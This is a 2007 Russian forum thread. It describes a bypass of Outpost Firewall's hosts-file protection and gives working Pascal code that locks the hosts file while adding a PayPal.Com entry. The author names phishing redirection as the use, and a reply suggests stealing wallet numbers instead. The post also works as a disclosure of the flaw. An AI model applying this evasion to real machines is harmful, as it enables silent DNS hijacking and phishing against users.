Outpost - очередная дыра

Discussion in 'Безопасность и Анонимность' started by А®ТеS, 5 Aug 2007.

  1. А®ТеS

    А®ТеS Active Member

    Joined:
    25 Nov 2006
    Messages:
    198
    Likes Received:
    193
    Reputations:
    41
    Как то у меня родилась в моем замутненном наркотиками и алкоголем мозге идея незаметно от проактивной защиты брандмауэра записывать в
    файл hosts некоторые данные. Кто в танке - hosts лежит в %systemroot%\system32\drivers\etc\hosts и содержит соотвествия IP адресов доменным именам.
    То есть если искомый хост обнаружен в hosts, то DNSQuery_A из DNSAPI.DLL не станет слать запрос на DNS сервак, а просто вернет прописанный
    там IP'шник. Это очень удобно, когда ты например хочешь направить юзера на фишинговый сайт, то есть он пишет e-gold.com а попадает на твою
    пагу (впрочем я таким никогда не занимался и тебе не советую, т.к. это подло, грубо и неэтично, плюс ИМХО все фишеры - ламеры, ты ведь не
    хочешь пополнить их ряды? :) ). Попытавшись записать стандартно через CreateFile() -> WriteFile() -> CloseHandle() я естественно обломался, т.к.
    брандмауэр все таки делал свою работу. Из очень информативного окна я понял что "Найдено SpyWare.... тыр, тыр, тыр.... Исправить.... тыр,
    тыр, тыр..... игнорировать..тыр, тыр, тыр". Что примечательно - имени файла, который и есть "SpyWare" указано не было! То есть Оутпост
    работал не так, как я думал изначально (перехватывать CreateFile и сверять имя файла с эталонным и если что орать как резаный :) ). Экспериментально было выснено:
    1. Оутпост при старте (?) запоминает контент hosts и делает его эталонным.
    2. Каждые 5 секунд он сличает эталон с действительным содержанием.
    3. Если не совпадает - орем-с как резанные :)

    Тут у меня родилась идея - а что если на эти пять секунд запретить Оутпосту доступ к hosts? По крайне мере попытка не пытка, проверяем:
    Вобщем наверное каждый знает что у CreateFile типа доступа другими процессами к файлу можно задать тремя флагами:
    FILE_SHARE_DELETE - доступ только для ОС
    FILE_SHARE_READ - доступ для чтения
    FILE_SHARE_WRITE - доступ для записи
    Меня заинтересовал первый флаг и родился такой код на Паскале:
    Code:
    ...
    var
    hFile: THandle;
    Buff: array [0..1024] of char;
    Size: CARDINAL;
    ...
    begin
    GetSystemDirectory(Buff, 20);
    hFile := CreateFile(PChar(Buff + '\drivers\etc\hosts'),
    GENERIC_WRITE + GENERIC_READ,
    0, //Внимание сюда!!! Этим флагом мы запрещаем доступ к файлу иными процессами!
    NIL,
    OPEN_ALWAYS,
    0,
    0);
    if hFile = INVALID_HANDLE_VALUE then Exit;
    Buff := #13#10 + '127.0.0.1 PayPal.Com' + #13#10;
    FileSeek(hFile, 0, SoFromEnd); //Двигаемся в конец файла, чтобы не задеть первые записи.
    WriteFile(hFile, Buff, 22, Size, 0);
    sleep(5000); //Спим 5 секундов
    CloseHandle(hFile);
    ...
    
    Т.к. тут используются только WinAPI, то думаю проблем с переносом на другие языки не будет. Что самое странное - этот код работал! И Оуптпост не тявкал на то, что произошло в эти пять секунд.
    Хост PayPal.Com с IP 127.0.0.1 (loopback петля локалхоста) исправно добавлялся в hosts! НУ вобщем то это все о чем я хотел рассказать, если бы
    не еще один забавный эпизод:
    Я как честный человек решил отписать девелоперам о баге, чтобы ее потихому закрыли. Довольно подробно описал проблему, привел выше указанный код,
    даже не матерился :). Через часов этак 16 (кстати, довольно оперативно - я знавал комании в которых вообще не отвечали =d) получаю ответ
    следующего содержания:

    "Здравствуйте.

    Благодарим за Ваше обращение в службу технической поддержки компании "Агнитум".

    Мы рекомендуем Вам установить последнюю версию Outpost.

    Так как наши разработчики постоянно работают над улучшением и оптимизацией программы, многие ошибки предыдущих версий были поправлены, и
    проблема, о которой Вы сообщили, может не повториться.

    Новую версию Outpost 4.0.1025.7828 (700) Вы можете скачать на http://www.agnitum.ru/products/outpost/download.php

    Вы можете установить эту версию, не удаляя предыдущую. Также при инсталляции Вы сможете сохранить текущие настройки программы.

    Если в последней версии проблема остается, пожалуйста, дайте нам об этом знать, и мы пристально займёмся изучением данной проблемы.

    Благодарим Вас за сотрудничество.

    --
    Искренне Ваш,
    Андрей Патюченко
    Служба технической поддержки Agnitum

    Вы можете оценить работу службы технической поддержки здесь:
    http://www.agnitum.ru/support/supportrate.php"

    Короче лол одним словом, даже ничего пояснять не буду :).

    З.Ы. Я проверял на Outpost Firewall Pro ver. 4.0.971.7030 (584), т.е. почти последней, ну хренли, скачал последнюю, там естественно бага не закрыта :).
    Еще раз подтвердилась истина о том, что люди хорошы лишь на словах и вся "забота о клиентах" сводится к тому что кенты сами вынуждены за них тестить их продуты =d, как говориться "Чем дырявей софт - тем лучше живет программист" (php-nuke и phpBB яркие тому примеры... а также хочется вспомнить Windows, Mozilla Firefox и т.п :)).
    На этом позвольтe откланяться, с уважением artes.
     
    4 people like this.
  2. n3m0

    n3m0 Elder - Старейшина

    Joined:
    11 May 2007
    Messages:
    133
    Likes Received:
    92
    Reputations:
    11
    Спасибо! Зря написал в суппорт. Но всёравно, этим разработчикам пофиг. Мне нравится ихний прославленый крэк(заменить одну библиотеку)
     
  3. Alexsize

    Alexsize Fail

    Joined:
    17 Sep 2005
    Messages:
    1,771
    Likes Received:
    1,215
    Reputations:
    704
    Пахнет ксакепом, а так - ничего. Вот только какая практическая польза? Беспалевнее перехватывать не доменные имена а, например, номера кошелей. Но я не делал, так что это только лишь ИМХО=)
     
    #3 Alexsize, 5 Aug 2007
    Last edited: 5 Aug 2007
    1 person likes this.
  4. А®ТеS

    А®ТеS Active Member

    Joined:
    25 Nov 2006
    Messages:
    198
    Likes Received:
    193
    Reputations:
    41
    2Alexsize: Тык я вроде отписал - по исследованиям крутых дядек щас фишеры набирают популярность, я на Секлабовскую рассылку подписан, там что ни день новости типа "Очередная расслыка спама с целью привлечения посетителей на фейк-сайт" или "мошенники зарегали домен wePmoney.com" ну и т.п.
    2n3m0: нащет саппортов... ну я вроде чесный человек =d. К тому же кто же знал кто в техпомощи сидит?))). Но я кстати все равно их продуктом буду пользоваться, т.к. от всякой "серийно иззотавливаемой" заразы он защищает, а если специалльно тебя решат ломануть, то ничто не поможет (кроме прямых рук ну и тп) :).